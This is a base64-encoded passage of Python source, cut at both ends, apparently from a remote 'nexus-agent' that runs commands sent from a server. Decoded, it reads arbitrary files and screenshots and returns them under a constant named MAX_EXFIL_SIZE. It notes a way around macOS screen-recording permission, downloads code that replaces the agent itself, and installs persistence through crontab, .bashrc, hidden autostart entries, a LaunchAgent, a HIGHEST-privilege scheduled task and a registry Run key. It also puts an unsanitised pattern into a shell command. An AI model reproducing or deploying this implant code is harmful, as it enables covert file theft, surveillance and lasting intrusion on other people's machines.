VwZGF0ZWQgdG8ge2hlYXJ0YmVhdF9pbnRlcnZhbH0gc2Vjb25kcyIsIDAKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfdGFncyI6CiAgICAgICAgdGFnc19yYXcgPSBwYXlsb2FkLmdldCgidGFncyIsICIiKQogICAgICAgIG5vZGVfdGFncyA9IFt0LnN0cmlwKCkgZm9yIHQgaW4gdGFnc19yYXcuc3BsaXQoJywnKSBpZiB0LnN0cmlwKCldCiAgICAgICAgcmV0dXJuIGYiTm9kZSB0YWdzIHVwZGF0ZWQgdG86IHtub2RlX3RhZ3N9IiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gInNlYXJjaF9sb2dzIjoKICAgICAgICBwYXR0ZXJuID0gcGF5bG9hZC5nZXQoInBhdHRlcm4iLCAiZXJyb3IiKQogICAgICAgIGNtZCA9IGYiam91cm5hbGN0bCAtLW5vLXBhZ2VyIHwgZ3JlcCAtaSAne3BhdHRlcm59JyB8IHRhaWwgLW4gMzAiIGlmIHN5c3RlbSA9PSAibGludXgiIGVsc2UgZiJwb3dlcnNoZWxsIEdldC1FdmVudExvZyAtTG9nTmFtZSBTeXN0ZW0gLU5ld2VzdCAxMDAgfCBXaGVyZS1PYmplY3QgTWVzc2FnZSAtbWF0Y2ggJ3twYXR0ZXJufSciCiAgICAgICAgcmV0dXJuIHJ1bl9zaGVsbChjbWQpCgogICAgZWxpZiBhY3Rpb25fdHlwZSA9PSAia2lsbF9hZ2VudCI6CiAgICAgICAgcHJpbnQoIlshXSBLaWxsIHN3aXRjaCByZWNlaXZlZCDigJQgc2h1dHRpbmcgZG93biBhZ2VudCIpCiAgICAgICAgb3MuX2V4aXQoMCkKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJwaW5nX2NoZWNrIjoKICAgICAgICBzZW50X3RzID0gcGF5bG9hZC5nZXQoInRpbWVzdGFtcCIsIDApCiAgICAgICAgbGF0ZW5jeV9tcyA9IGludCgodGltZS50aW1lKCkgKiAxMDAwKSAtIHNlbnRfdHMpIGlmIHNlbnRfdHMgZWxzZSAwCiAgICAgICAgcmV0dXJuIGYiUE9ORyDigJQgbGF0ZW5jeToge2xhdGVuY3lfbXN9bXMsIGhvc3RuYW1lOiB7c29ja2V0LmdldGhvc3RuYW1lKCl9LCB1cHRpbWU6IHtnZXRfdXB0aW1lX3NlY29uZHMoKX1zIiwgMAoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImRvd25sb2FkX2ZpbGUiOgogICAgICAgIE1BWF9FWEZJTF9TSVpFID0gNTAgKiAxMDI0ICogMTAyNCAgIyA1ME1CIGxpbWl0CiAgICAgICAgZmlsZXBhdGggPSBwYXlsb2FkLmdldCgicGF0aCIsICIiKQogICAgICAgIGlmIG5vdCBmaWxlcGF0aCBvciBub3Qgb3MucGF0aC5leGlzdHMoZmlsZXBhdGgpOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUjogZmlsZSBub3QgZm91bmQ6IHtmaWxlcGF0aH0iLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBmc2l6ZSA9IG9zLnBhdGguZ2V0c2l6ZShmaWxlcGF0aCkKICAgICAgICAgICAgaWYgZnNpemUgPiBNQVhfRVhGSUxfU0laRToKICAgICAgICAgICAgICAgIHJldHVybiBmIkVSUk9SOiBmaWxlIHRvbyBsYXJnZSAoe2ZzaXplfSBieXRlcywgbWF4IHtNQVhfRVhGSUxfU0laRX0pIiwgMQogICAgICAgICAgICB3aXRoIG9wZW4oZmlsZXBhdGgsICdyYicpIGFzIGY6CiAgICAgICAgICAgICAgICByYXcgPSBmLnJlYWQoKQogICAgICAgICAgICBpbXBvcnQgYmFzZTY0CiAgICAgICAgICAgIGI2NCA9IGJhc2U2NC5iNjRlbmNvZGUocmF3KS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgIyBEZXRlcm1pbmUgTUlNRSAoYmFzaWMpCiAgICAgICAgICAgIGV4dCA9IG9zLnBhdGguc3BsaXRleHQoZmlsZXBhdGgpWzFdLmxvd2VyKCkKICAgICAgICAgICAgbWltZV9tYXAgPSB7Jy50eHQnOid0ZXh0L3BsYWluJywnLmxvZyc6J3RleHQvcGxhaW4nLCcuY29uZic6J3RleHQvcGxhaW4nLAogICAgICAgICAgICAgICAgICAgICAgICAnLnBuZyc6J2ltYWdlL3BuZycsJy5qcGcnOidpbWFnZS9qcGVnJywnLmpwZWcnOidpbWFnZS9qcGVnJywKICAgICAgICAgICAgICAgICAgICAgICAgJy5wZGYnOidhcHBsaWNhdGlvbi9wZGYnLCcuZG9jJzonYXBwbGljYXRpb24vbXN3b3JkJywnLmRvY3gnOidhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuemlwJzonYXBwbGljYXRpb24vemlwJywnLnRhcic6J2FwcGxpY2F0aW9uL3gtdGFyJywnLmd6JzonYXBwbGljYXRpb24vZ3ppcCcsCiAgICAgICAgICAgICAgICAgICAgICAgICcuc3FsJzondGV4dC9wbGFpbicsJy5kYic6J2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScsJy5zcWxpdGUnOidhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nfQogICAgICAgICAgICBtaW1lID0gbWltZV9tYXAuZ2V0KGV4dCwgJ2FwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpCiAgICAgICAgICAgIGZpbGVuYW1lID0gb3MucGF0aC5iYXNlbmFtZShmaWxlcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZmlsZW5hbWUsIm1pbWUiOm1pbWUsImRhdGEiOmI2NH0pLCAwCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICByZXR1cm4gZiJFUlJPUiByZWFkaW5nIGZpbGU6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJzY3JlZW5zaG90IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBiYXNlNjQKICAgICAgICAgICAgc3NfcGF0aCA9ICIvdG1wLy5uZXh1cy1zcy5wbmciCiAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpOgogICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCgogICAgICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgICAgIGZvciB0b29sIGluIFsiaW1wb3J0IiwgInNjcm90IiwgImdub21lLXNjcmVlbnNob3QiLCAic3BlY3RhY2xlIl06CiAgICAgICAgICAgICAgICAgICAgaWYgc3VicHJvY2Vzcy5ydW4oWyJ3aGljaCIsIHRvb2xdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKS5yZXR1cm5jb2RlID09IDA6CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIHRvb2wgPT0gImltcG9ydCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImltcG9ydCIsICItd2luZG93IiwgInJvb3QiLCBzc19wYXRoXSwgdGltZW91dD0xMCwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzY3JvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInNjcm90Iiwgc3NfcGF0aF0sIHRpbWVvdXQ9MTApCiAgICAgICAgICAgICAgICAgICAgICAgIGVsaWYgdG9vbCA9PSAiZ25vbWUtc2NyZWVuc2hvdCI6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbImdub21lLXNjcmVlbnNob3QiLCAiLWYiLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgZWxpZiB0b29sID09ICJzcGVjdGFjbGUiOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJzcGVjdGFjbGUiLCAiLWIiLCAiLW4iLCAiLW8iLCBzc19wYXRoXSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihbInB5dGhvbjMiLCAiLWMiLAogICAgICAgICAgICAgICAgICAgICAgICAiZnJvbSBYbGliIGltcG9ydCBkaXNwbGF5O2Zyb20gUElMIGltcG9ydCBJbWFnZTtkPWRpc3BsYXkuRGlzcGxheSgpO3I9ZC5zY3JlZW4oKS5yb290OyIKICAgICAgICAgICAgICAgICAgICAgICAgImc9ci5nZXRfZ2VvbWV0cnkoKTtyYXc9ci5nZXRfaW1hZ2UoMCwwLGcud2lkdGgsZy5oZWlnaHQsWGxpYi5YLlpQaXhtYXAsMHhmZmZmZmZmZik7IgogICAgICAgICAgICAgICAgICAgICAgICAiaW1nPUltYWdlLmZyb21ieXRlcygnUkdCJywoZy53aWR0aCxnLmhlaWdodCkscmF3LmRhdGEsJ3JhdycsJ0JHUlgnKTtpbWcuc2F2ZSgnL3RtcC8ubmV4dXMtc3MucG5nJykiXSwKICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKCiAgICAgICAgICAgIGVsaWYgc3lzdGVtID09ICJkYXJ3aW4iOgogICAgICAgICAgICAgICAgIyBUcnkgbXVsdGlwbGUgYXBwcm9hY2hlcyBmb3IgbWFjT1Mgc2NyZWVuc2hvdAogICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBGYWxzZQogICAgICAgICAgICAgICAgIyBNZXRob2QgMTogZGlyZWN0IHNjcmVlbmNhcHR1cmUgKG5lZWRzIFNjcmVlbiBSZWNvcmRpbmcgVENDIHBlcm1pc3Npb24pCiAgICAgICAgICAgICAgICBmb3IgZmxhZ3MgaW4gW1siLXgiLCAiLUMiLCAiLW0iXSwgWyIteCIsICItQyJdLCBbIi14Il0sIFsiLUMiLCAiLW0iXV06CiAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsic2NyZWVuY2FwdHVyZSJdICsgZmxhZ3MgKyBbc3NfcGF0aF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpbWVvdXQ9MTAsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICBjYXB0dXJlZCA9IFRydWUKICAgICAgICAgICAgICAgICAgICAgICAgYnJlYWsKICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgb3MucmVtb3ZlKHNzX3BhdGgpCiAgICAgICAgICAgICAgICAjIE1ldGhvZCAyOiB0cnkgdmlhIG9zYXNjcmlwdCAoc29tZXRpbWVzIGJ5cGFzc2VzIFRDQyBmb3IgYmFja2dyb3VuZCBwcm9jZXNzZXMpCiAgICAgICAgICAgICAgICBpZiBub3QgY2FwdHVyZWQ6CiAgICAgICAgICAgICAgICAgICAgZm9yIGZsYWdzIGluIFtbIi14IiwgIi1DIiwgIi1tIl0sIFsiLXgiLCAiLUMiXSwgWyIteCJdXToKICAgICAgICAgICAgICAgICAgICAgICAgZmxhZ19zdHIgPSAiICIuam9pbihmbGFncykKICAgICAgICAgICAgICAgICAgICAgICAgciA9IHN1YnByb2Nlc3MucnVuKFsib3Nhc2NyaXB0IiwgIi1lIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGYnZG8gc2hlbGwgc2NyaXB0ICJzY3JlZW5jYXB0dXJlIHtmbGFnX3N0cn0ge3NzX3BhdGh9IiddLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgdGltZW91dD0xNSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgICAgICAgICAgaWYgci5yZXR1cm5jb2RlID09IDAgYW5kIG9zLnBhdGguZXhpc3RzKHNzX3BhdGgpIGFuZCBvcy5wYXRoLmdldHNpemUoc3NfcGF0aCkgPiAwOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2FwdHVyZWQgPSBUcnVlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhzc19wYXRoKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQoKICAgICAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJwb3dlcnNoZWxsIiwgIi1Db21tYW5kIiwKICAgICAgICAgICAgICAgICAgICAiQWRkLVR5cGUgLUFzc2VtYmx5TmFtZSBTeXN0ZW0uV2luZG93cy5Gb3Jtczskcz1bV2luZG93cy5Gb3Jtcy5TY3JlZW5dOjpQcmltYXJ5U2NyZWVuLkJvdW5kczsiCiAgICAgICAgICAgICAgICAgICAgIiRiPU5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAoJHMuV2lkdGgsJHMuSGVpZ2h0KTsiCiAgICAgICAgICAgICAgICAgICAgIiRnPVtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRiKTskZy5Db3B5RnJvbVNjcmVlbigwLDAsMCwwLCRiLlNpemUpOyIKICAgICAgICAgICAgICAgICAgICAiJGIuU2F2ZSgnQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZycpOyRnLkRpc3Bvc2UoKTskYi5EaXNwb3NlKCkiXSwKICAgICAgICAgICAgICAgICAgICB0aW1lb3V0PTE1KQogICAgICAgICAgICAgICAgd2luX3BhdGggPSAiQzpcXFdpbmRvd3NcXFRlbXBcXG5leHVzLXNzLnBuZyIKICAgICAgICAgICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKHdpbl9wYXRoKToKICAgICAgICAgICAgICAgICAgICBvcy5yZXBsYWNlKHdpbl9wYXRoLCBzc19wYXRoKQoKICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHMoc3NfcGF0aCkgYW5kIG9zLnBhdGguZ2V0c2l6ZShzc19wYXRoKSA+IDA6CiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oc3NfcGF0aCwgJ3JiJykgYXMgZjoKICAgICAgICAgICAgICAgICAgICBiNjQgPSBiYXNlNjQuYjY0ZW5jb2RlKGYucmVhZCgpKS5kZWNvZGUoJ3V0Zi04JykKICAgICAgICAgICAgICAgIG9zLnJlbW92ZShzc19wYXRoKQogICAgICAgICAgICAgICAgcmV0dXJuIGpzb24uZHVtcHMoeyJ0eXBlIjoiZmlsZV9yZXN1bHQiLCJmaWxlbmFtZSI6ZiJzY3JlZW5zaG90LXtpbnQodGltZS50aW1lKCkpfS5wbmciLCJtaW1lIjoiaW1hZ2UvcG5nIiwiZGF0YSI6YjY0fSksIDAKICAgICAgICAgICAgcmV0dXJuICJFUlJPUjogc2NyZWVuc2hvdCBibG9ja2VkIGJ5IG1hY09TIFRDQyDigJQgZ3JhbnQgU2NyZWVuIFJlY29yZGluZyBwZXJtaXNzaW9uIHRvIHB5dGhvbjMgaW4gU3lzdGVtIFNldHRpbmdzID4gUHJpdmFjeSAmIFNlY3VyaXR5ID4gU2NyZWVuIFJlY29yZGluZyIsIDEKICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgICAgIHJldHVybiBmIkVSUk9SIHNjcmVlbnNob3Q6IHtlfSIsIDEKCiAgICBlbGlmIGFjdGlvbl90eXBlID09ICJ1cGRhdGVfYWdlbnQiOgogICAgICAgIG5ld191cmwgPSBwYXlsb2FkLmdldCgidXJsIiwgIiIpCiAgICAgICAgaWYgbm90IG5ld191cmw6CiAgICAgICAgICAgIHJldHVybiAiRVJST1I6IG5vIHVwZGF0ZSBVUkwgcHJvdmlkZWQiLCAxCiAgICAgICAgdHJ5OgogICAgICAgICAgICBteV9wYXRoID0gb3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKQogICAgICAgICAgICBiYWsgPSBteV9wYXRoICsgIi5iYWsiCiAgICAgICAgICAgIG9zLnJlbmFtZShteV9wYXRoLCBiYWspCiAgICAgICAgICAgIHVybGxpYi5yZXF1ZXN0LnVybHJldHJpZXZlKG5ld191cmwsIG15X3BhdGgpCiAgICAgICAgICAgIG9zLmNobW9kKG15X3BhdGgsIDBvNzU1KQogICAgICAgICAgICBvcy5yZW1vdmUoYmFrKQogICAgICAgICAgICByZXR1cm4gIkFnZW50IHVwZGF0ZWQgc3VjY2Vzc2Z1bGx5LiBSZXN0YXJ0aW5nLi4uIiwgMAogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgIyBSZXN0b3JlIGJhY2t1cAogICAgICAgICAgICBpZiBvcy5wYXRoLmV4aXN0cyhiYWspOgogICAgICAgICAgICAgICAgb3MucmVuYW1lKGJhaywgbXlfcGF0aCkKICAgICAgICAgICAgcmV0dXJuIGYiRVJST1IgdXBkYXRlIGZhaWxlZDoge2V9IiwgMQoKICAgIGVsaWYgYWN0aW9uX3R5cGUgPT0gImVuc3VyZV9wZXJzaXN0ZW5jZSI6CiAgICAgICAgcmVzdWx0cyA9IFtdCiAgICAgICAgaWYgc3lzdGVtID09ICJsaW51eCI6CiAgICAgICAgICAgICMgY3JvbnRhYgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgZXhpc3RpbmcgPSBzdWJwcm9jZXNzLnJ1bigiY3JvbnRhYiAtbCAyPi9kZXYvbnVsbCIsIHNoZWxsPVRydWUsIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHRleHQ9VHJ1ZSkuc3Rkb3V0CiAgICAgICAgICAgICAgICBpZiBjcm9uX2xpbmUuc3BsaXQoJ0ByZWJvb3QnKVsxXS5zdHJpcCgpIG5vdCBpbiBleGlzdGluZzoKICAgICAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bihmJyhjcm9udGFiIC1sIDI+L2Rldi9udWxsOyBlY2hvICJ7Y3Jvbl9saW5lfSIpIHwgY3JvbnRhYiAtJywgc2hlbGw9VHJ1ZSkKICAgICAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQgQHJlYm9vdCBlbnRyeSIpCiAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBhbHJlYWR5IHByZXNlbnQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgICAgICAjIC5iYXNocmMKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYmFzaHJjID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+Ly5iYXNocmMiKQogICAgICAgICAgICAgICAgaG9vayA9IGYiXG4jIG5leHVzLWFnZW50XG4ocGdyZXAgLWYgYWdlbnQucHkgfHwgcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3BheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJyl9ICY+L2Rldi9udWxsICYpXG4iCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4oYmFzaHJjLCAnYSsnKSBhcyBmOgogICAgICAgICAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgICAgICAgICAgICAgIGlmICduZXh1cy1hZ2VudCcgbm90IGluIGYucmVhZCgpOgogICAgICAgICAgICAgICAgICAgICAgICBmLndyaXRlKGhvb2spCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiYmFzaHJjOiBob29rIGluc3RhbGxlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoImJhc2hyYzogZmFpbGVkIikKICAgICAgICAgICAgIyBhdXRvc3RhcnQgLmRlc2t0b3AKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgYWQgPSBvcy5wYXRoLmV4cGFuZHVzZXIoIn4vLmNvbmZpZy9hdXRvc3RhcnQiKQogICAgICAgICAgICAgICAgb3MubWFrZWRpcnMoYWQsIGV4aXN0X29rPVRydWUpCiAgICAgICAgICAgICAgICB3aXRoIG9wZW4ob3MucGF0aC5qb2luKGFkLCAibmV4dXMtYWdlbnQuZGVza3RvcCIpLCAndycpIGFzIGY6CiAgICAgICAgICAgICAgICAgICAgZi53cml0ZShmIltEZXNrdG9wIEVudHJ5XVxuVHlwZT1BcHBsaWNhdGlvblxuTmFtZT1OZXh1cyBBZ2VudFxuRXhlYz1weXRob24zIHtvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfSAtLXNlcnZlciB7cGF5bG9hZC5nZXQoJ3NlcnZlcl91cmwnLCcnKX1cbkhpZGRlbj1mYWxzZVxuTm9EaXNwbGF5PXRydWVcblgtR05PTUUtQXV0b3N0YXJ0LWVuYWJsZWQ9dHJ1ZVxuIikKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IC5kZXNrdG9wIGNyZWF0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJhdXRvc3RhcnQ6IGZhaWxlZCIpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIHBsaXN0ID0gb3MucGF0aC5leHBhbmR1c2VyKCJ+L0xpYnJhcnkvTGF1bmNoQWdlbnRzL2NvbS5uZXh1c29wcy5hZ2VudC5wbGlzdCIpCiAgICAgICAgICAgICAgICBvcy5tYWtlZGlycyhvcy5wYXRoLmRpcm5hbWUocGxpc3QpLCBleGlzdF9vaz1UcnVlKQogICAgICAgICAgICAgICAgcGxpc3RfY29udGVudCA9IGYnJyc8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJVVEYtOCI/Pgo8IURPQ1RZUEUgcGxpc3QgUFVCTElDICItLy9BcHBsZS8vRFREIFBMSVNUIDEuMC8vRU4iICJodHRwOi8vd3d3LmFwcGxlLmNvbS9EVERzL1Byb3BlcnR5TGlzdC0xLjAuZHRkIj4KPHBsaXN0IHZlcnNpb249IjEuMCI+PGRpY3Q+PGtleT5MYWJlbDwva2V5PjxzdHJpbmc+Y29tLm5leHVzb3BzLmFnZW50PC9zdHJpbmc+CjxrZXk+UHJvZ3JhbUFyZ3VtZW50czwva2V5PjxhcnJheT48c3RyaW5nPi91c3IvYmluL3B5dGhvbjM8L3N0cmluZz48c3RyaW5nPntvcy5wYXRoLmFic3BhdGgoX19maWxlX18pfTwvc3RyaW5nPjxzdHJpbmc+LS1zZXJ2ZXI8L3N0cmluZz48c3RyaW5nPntwYXlsb2FkLmdldCgnc2VydmVyX3VybCcsJycpfTwvc3RyaW5nPjwvYXJyYXk+CjxrZXk+UnVuQXRMb2FkPC9rZXk+PHRydWUvPjxrZXk+S2VlcEFsaXZlPC9rZXk+PHRydWUvPjwvZGljdD48L3BsaXN0PicnJwogICAgICAgICAgICAgICAgd2l0aCBvcGVuKHBsaXN0LCAndycpIGFzIGY6IGYud3JpdGUocGxpc3RfY29udGVudCkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImJvb3RvdXQiLCBmImd1aS97b3MuZ2V0dWlkKCl9IiwgcGxpc3RdLCBzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLCBzdGRlcnI9c3VicHJvY2Vzcy5QSVBFKQogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oWyJsYXVuY2hjdGwiLCAiYm9vdHN0cmFwIiwgZiJndWkve29zLmdldHVpZCgpfSIsIHBsaXN0XSwgc3Rkb3V0PXN1YnByb2Nlc3MuUElQRSwgc3RkZXJyPXN1YnByb2Nlc3MuUElQRSkKICAgICAgICAgICAgICAgIHN1YnByb2Nlc3MucnVuKFsibGF1bmNoY3RsIiwgImtpY2tzdGFydCIsIGYiZ3VpL3tvcy5nZXR1aWQoKX0vY29tLm5leHVzb3BzLmFnZW50Il0sIHN0ZG91dD1zdWJwcm9jZXNzLlBJUEUsIHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgibGF1bmNoZDogYm9vdHN0cmFwcGVkICsga2lja3N0YXJ0ZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJsYXVuY2hkOiBmYWlsZWQiKQogICAgICAgICAgICAjIGNyb250YWIgZm9yIG1hY09TIHRvbwogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBpbXBvcnQgc2hsZXgKICAgICAgICAgICAgICAgIHNydiA9IHNobGV4LnF1b3RlKHBheWxvYWQuZ2V0KCdzZXJ2ZXJfdXJsJywnJykpCiAgICAgICAgICAgICAgICBjcm9uX2xpbmUgPSBmIkByZWJvb3QgL3Vzci9iaW4vcHl0aG9uMyB7b3MucGF0aC5hYnNwYXRoKF9fZmlsZV9fKX0gLS1zZXJ2ZXIge3Nydn0gPi9kZXYvbnVsbCAyPiYxIgogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4oZicoY3JvbnRhYiAtbCAyPi9kZXYvbnVsbDsgZWNobyAie2Nyb25fbGluZX0iKSB8IGNyb250YWIgLScsIHNoZWxsPVRydWUpCiAgICAgICAgICAgICAgICByZXN1bHRzLmFwcGVuZCgiY3JvbnRhYjogYWRkZWQiKQogICAgICAgICAgICBleGNlcHQ6IHJlc3VsdHMuYXBwZW5kKCJjcm9udGFiOiBmYWlsZWQiKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgYWdlbnRfcGF0aCA9IG9zLnBhdGguYWJzcGF0aChfX2ZpbGVfXykKICAgICAgICAgICAgc3J2ID0gcGF5bG9hZC5nZXQoInNlcnZlcl91cmwiLCAiIikKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgdGFza19jbWQgPSAncG93ZXJzaGVsbCAtQ29tbWFuZCAic2NodGFza3MgL2NyZWF0ZSAvdG4gTmV4dXNPcHNBZ2VudCAvc2MgT05MT0dPTiAvdHIgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAvZiAvcmwgSElHSEVTVCInCiAgICAgICAgICAgICAgICBzdWJwcm9jZXNzLnJ1bih0YXNrX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJzY2h0YXNrczogc2NoZWR1bGVkIHRhc2sgY3JlYXRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5hcHBlbmQoInNjaHRhc2tzOiBmYWlsZWQiKQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICByZWdfY21kID0gJ3Bvd2Vyc2hlbGwgLUNvbW1hbmQgIk5ldy1JdGVtUHJvcGVydHkgLVBhdGggSEtDVTpcXFNvZnR3YXJlXFxNaWNyb3NvZnRcXFdpbmRvd3NcXEN1cnJlbnRWZXJzaW9uXFxSdW4gLU5hbWUgTmV4dXNPcHNBZ2VudCAtVmFsdWUgXFwicHl0aG9uICcgKyBhZ2VudF9wYXRoICsgJyAtLXNlcnZlciAnICsgc3J2ICsgJ1xcIiAtRm9yY2UiJwogICAgICAgICAgICAgICAgc3VicHJvY2Vzcy5ydW4ocmVnX2NtZCwgc2hlbGw9VHJ1ZSwgdGltZW91dD0xMCkKICAgICAgICAgICAgICAgIHJlc3VsdHMuYXBwZW5kKCJyZWdpc3RyeTogUnVuIGtleSBhZGRlZCIpCiAgICAgICAgICAgIGV4Y2VwdDogcmVzdWx0cy5h